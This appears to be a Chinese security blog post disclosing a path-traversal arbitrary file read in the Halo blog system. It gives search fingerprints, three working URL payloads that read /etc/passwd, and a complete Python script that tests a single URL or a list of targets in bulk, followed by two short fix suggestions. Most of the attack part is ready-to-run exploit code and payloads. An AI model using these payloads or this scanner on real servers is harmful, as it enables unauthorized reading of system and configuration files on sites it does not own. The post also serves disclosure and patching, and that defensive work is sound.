【nday】Halo任意文件读取漏洞

Halo博客系统任意文件读取漏洞

官网:https://halo.run/
这个漏洞属于未公开漏洞,影响的范围没有完全确定,可以自行测试自己的服务器是否存在,存在则升级版本或者使用docker容器更加安全。

介绍

Halo 是一款基于 Java 技术栈开发的博客系统,它拥有简洁、高效、易用的特点。Halo 支持多用户、多语言、多主题等功能,可以帮助用户快速建立自己的博客网站。
Halo 的界面风格简约清新,支持响应式布局,可以在不同大小的屏幕上进行适配,保证了浏览体验的一致性。同时,Halo 很注重用户体验,提供了实时搜索、文章阅读量统计、标签云等功能,方便用户管理和维护自己的博客。
Halo 还支持多种扩展功能,如 RSS 订阅、Markdown 编辑器、社交分享等,让用户在写作和发布过程中更加便捷和高效。

影响范围

高版本已经修复
Halo 2.x或其他版本

指纹

这里给一个通用指纹,但是可能不准确可以使用js版本查找或者使用我给的指纹。

"https://halo.run/"

在这里插入图片描述

POC

以下三个poc都可使用:

/themes/theme-earth/assets/images//../../../../../../../../etc/passwd
/themes/theme-earth/assets//../../../../../../../../etc/passwd
/themes/theme-earth/assets/dist//../../../../../../../../etc/passwd

在这里插入图片描述

深度利用

读取配置文件:
在这里插入图片描述

POC脚本

import urllib3
import argparse
import re

def test_path_traversal(url):
    # 编码url防止转义
    path_traversal_payload = "/themes/theme-earth/assets/dist/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
    target_url = url + path_traversal_payload

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36",
        "Accept": "image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close"
    }

    http = urllib3.PoolManager()
    response = http.request('GET', target_url, headers=headers)

    # 打印响应状态码和响应内容(测试)
    print(f"Response Status Code: {response.status}")
    print("Response Body:")
    print(response.data.decode('utf-8', errors='ignore'))

    # 检查是否存在漏洞
    if response.status == 200 and re.search(r'root:[x*]:0:0', response.data.decode('utf-8', errors='ignore')):
        print(f"存在漏洞! URL: {target_url}")
    else:
        print(f"不存在漏洞 URL: {target_url}")

def test_multiple_urls(url_file):
    with open(url_file, 'r') as file:
        urls = file.readlines()
        urls = [url.strip() for url in urls]
    
    for url in urls:
        test_path_traversal(url)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Test for path traversal vulnerability.")
    parser.add_argument("-u", "--url", help="单条url测试http://exp.cn")
    parser.add_argument("-f", "--file", help="指定url文件测试txt")
    args = parser.parse_args()

    if args.file:
        test_multiple_urls(args.file)
    elif args.url:
        test_path_traversal(args.url)
    else:
        print("必须指定 -u or -f.")
使用方法:
python halo.py -u http://test.com
python halo.py -f url.txt

修复建议

1.	/themes/theme-earth/templates/assets/dist 目录进行权限控制,禁止外部访问;
2.	对于敏感数据和目录,不要存放在 Web 服务的根目录下。建议使用独立的文件服务器或存储服务来管理这些数据。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0x717866

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值